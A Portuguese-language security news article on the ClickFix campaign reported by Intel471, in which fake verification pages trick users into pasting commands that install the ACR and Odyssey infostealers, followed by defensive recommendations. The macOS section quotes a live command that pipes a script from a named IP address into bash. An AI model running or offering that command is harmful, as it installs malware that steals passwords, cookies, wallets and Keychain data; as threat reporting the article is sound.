Pesquisadores da Intel471 alertam para uma campanha chamada ClickFix que convence usuários a copiar e colar comandos no terminal, resultando na instalação de infostealers como ACR (Windows) e Odyssey (macOS).
Panorama e descoberta
A campanha foi identificada em junho de 2025 durante operações de hunting da Intel471. Os atacantes criam páginas de aterrissagem hospedadas em plataformas confiáveis (Google Colab, Drive, Sites, Groups) e enchem resultados de busca com links que levam vítimas em potencial a prompts que parecem verificações legítimas.
Mecanismo de infecção e execução
O ataque costuma redirecionar usuários que buscam software pirata para páginas que exibem um texto para ser copiado. Quando o usuário cola esse conteúdo no terminal, o que parece um trecho de texto é, na verdade, um comando Base64 ou um script que baixa e executa payloads diretamente em memória. Essa execução fileless dificulta a detecção por ferramentas tradicionais de segurança.
Payloads e plataformas
Para Windows, a cadeia passa por redirecionamentos até uma página de hospedagem (por exemplo, MEGA) com um ZIP protegido por senha; dentro há um executável disfarçado (ACR stealer) que coleta credenciais e atua como loader para outros malwares, como o SharkClipper. Já para macOS, a isca se apresenta como uma verificação Cloudflare falsa: ao copiar o texto de verificação o usuário na verdade copia um comando como curl - s http://45.135.232.33/droberto39774 | nohup bash, que baixa e executa o Odyssey stealer, coletando senhas, cookies, carteiras de criptomoeda, Apple Notes e Keychain.
Impacto e recomendações
ClickFix é preocupante por combinar técnicas de engenharia social com execução em memória, contornando defesas convencionais. Recomendações práticas incluem:
- Conscientização e treinamento: alertar usuários para nunca colar comandos no terminal sem verificação completa;
- Bloquear hosting abusivo conhecido e monitorar domínios/links usados em campanhas;
- Implementar EDR com visibilidade para processos e execuções em memória, além de políticas de mitigação para downloads por curl/wget em estações críticas.
Limitações das informações
As reportagens não fornecem estatísticas públicas sobre número de vítimas ou detalhamento forense de campanhas específicas além dos exemplos técnicos e das amostras relatadas pela Intel471. Ainda assim, o padrão operacional descrito é consistente com campanhas que exploram confiança em plataformas hospedadas e dependência de fóruns de software pirata.
O caso reforça a importância de combinar segurança técnica (monitoramento, EDR) com processos humanos (treinamento e políticas de uso de terminal) para mitigar ataques que exploram confiança e comportamento de usuários.